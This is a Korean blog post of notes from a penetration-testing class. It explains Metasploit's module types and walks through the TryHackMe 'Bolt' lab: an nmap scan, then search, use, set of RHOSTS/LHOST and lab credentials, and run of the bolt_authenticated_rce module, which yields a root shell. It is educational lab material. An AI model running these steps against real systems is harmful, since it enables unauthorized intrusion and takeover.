[normaltic 비기너 클래스 1기] 2023-09-06 Skill Course 4주차 내용 정리

2023. 9. 12. 06:48normaltic 비기너 클래스 1기/내용 정리

메타스플로잇 (Metasploit)

 

메타스플로잇은 해킹을 간단하게 할 수 있도록 도와주는 모의해킹 테스트 도구이다. 오픈소스 프레임워크로 최신 취약점의 빠른 업데이트가 이루어진다. 해커들 또는 모의해킹 전문가에게 있어서 필수적으로 다룰 수 있어야만 하는 도구이다.

 

메타스플로잇의 모듈

 

메타스플로잇에는 수천 개의 모듈이 존재한다. 모듈들은 각자의 기능에 맞는 7개의 디렉터리에 존재한다. 메타스플로잇 모듈들이 포함되어 있는 디렉터리 경로는 /usr/share/metasploit-framework/modules 에 존재한다.

 

 

모듈

 

  1.  Auxiliary : 직접적인 공격에 사용되지 않으며 주로 스캐닝을 통한 정보수집에 이용
  2. Encoder : 페이로드 및 공격벡터를 인코딩하여 바이러스 탐지 솔루션 또는 방화벽에 탐지되는 것을 방지하는데 이용
  3. Evasion : 백신 탐지에 우회 용도이며, 주로 특정 백신을 대상으로 우회하는데 이용
  4. Exploits : 직접적으로 취약점을 공격하여 해킹을 시도할 때 이용
  5. NOP : nop이라고 하는 어셈블리 명령어를 이용해서 페이로드 크기를 일정하게 유지 및 공격이 안정적으로 진행되는데 이용
  6. Payloads : 공격 후 대상 시스템에 연결하거나 대상 서버에 서비스 설치와 같은 특정 작업등을 수행하는데 이용, Exploits가 총이라면 Payloads는 총알로 비유할 수 있다.
  7. Post : Exploit 이후 추가 공격에 사용되는 용도로 이용

* Exploit Code VS Payload Code

exploit code는 취약점을 이용하여 공격을 가능하게 코드이며 payload code는 exploit code로 공격이 가능한 시스템에서 직접 공격을 수행하는 코드 예로 리버스 쉘을 들 수 있다.

 

* Payload의 3가지 유형

 

1) Singles : 단일 코드로 최종 공격을 실행하는 페이로드 ( ex. shell_reverse_tcp )

2) Stager :  Stage 페이로드가 최종 공격을 할 수 있도록 공격대상 시스템에서 공격 기반을 다지는 페이로드

3) Stage : Stager에 의해 공격 기반이 다져진 공격대상 시스템에 직접 공격을 가하는 페이로드 ( ex. shell/reverse_tcp )

 

메타스플로잇 사용법

 

TryHackMe의 Bolt 문제를 활용하여 메타스플로잇 사용법에 대해서 알아보자.

 

 

nmap -sCV 10.10.100.114 > scan_res
cat scan_res

 

nmap을 이용하여 포트 스캔을 진행하여 22, 80, 8000번 포트가 열린것을 확인하였다. 열린 포트 중 80번, 8000번 포트가 웹 서비스를 진행하고 있으므로 각각 웹 페이지를 확인해본다.

 

80번 포트 웹 서비스
8000번 포트 웹 서비스

80번 포트에 연결된 서비스는 아직 개발되지 않은 초기의 웹 페이지인걸로 확인 했고, 8000번 포트는 Bolt CMS 라는 웹 서비스를 제공하는걸로 확인 됬다. 이제 메타스플로잇을 사용하여 Bolt CMS의 취약점을 찾는다.

 

 

msfconsole

 

메타스플로잇은 칼리 리눅스에 사전 설치되어있다. msfconsole 명령어를 입력하면 실행된다.

 

 

search Bolt CMS

 

search 명령어를 사용하여 취약점을 찾을 수 있다. search [취약점 이름 또는 서비스 이름] 형식으로 명령어를 입력하면 대상에게 존재하는 취약점을 공격하는 모듈이 출력된다. 각 모듈에 대한 설명을 보고 싶다면 info [취약점 이름 또는 넘버링]을 입력해주면된다. 이번에는 exploit/unix/webapp/bolt_authenticated_rce이름의 모듈을 사용해보자.

 

 

use 0 (혹은 취약점 이름 : exploit/unix/webapp/bolt_authenticated_rce)
options

 

use 명령어를 사용하여 사용하고자하는 모듈을 장착한다. 모듈이 장착된 상태에서 options 명령어를 사용하면 해당 모듈을 사용하는데 있어서 필요한 정보를 입력하는 텍스트가 출력된다. options으로 출력된 텍스트에서 Required 탭에 yes라 적힌 행은 필수로 정보를 입력해야한다. 현재 PASSWORD, RHOSTS, USERNAME, LHOST행이 비어져 있기 때문에 요구하는 내용을 입력해준다. 

  • RHOSTS : 공격 대상의 IP 주소
  • LHOST : 공격자 IP 주소
  • USERNAME : 계정 이름
  • PASSWORD : 비밀번호

 

 

set RHOSTS 10.10.100.114
set LHOST 10.18.30.184
set PASSWORD boltadmin123
set USERNAME bolt
options

 

options에서 보여주는 입력란에 정보를 입력하려면 set 명령어를 사용해주면 된다. set [입력 행] [입력 내용] 형식으로 사용한다. 모든 내용을 입력 후에 options 명령어를 사용하여 정보가 채워져 있는것을 볼 수 있다. (USERNAME과 PASSWORD에 입력된 정보는 8000번 포트에서 서비스하는 Bolt에서 찾아볼 수 있다.)

 

 

explot ( 또는 run )

 

필수정보를 모두 입력 후에 exploit 또는 run 명령어를 사용하면 해당 모듈을 이용한 공격을 진행할 수 있다. 해당 모듈을 이용하여 공격하였더니 root 계정을 획득할 수 있었다.

 

* background : 공격 대상 세션에서 잠시 빠져나오기
* sessions : 현재 연결되어있는 세션 목록 출력

* sessions -i [세션 번호] : 다시 해당 세션으로 들어가기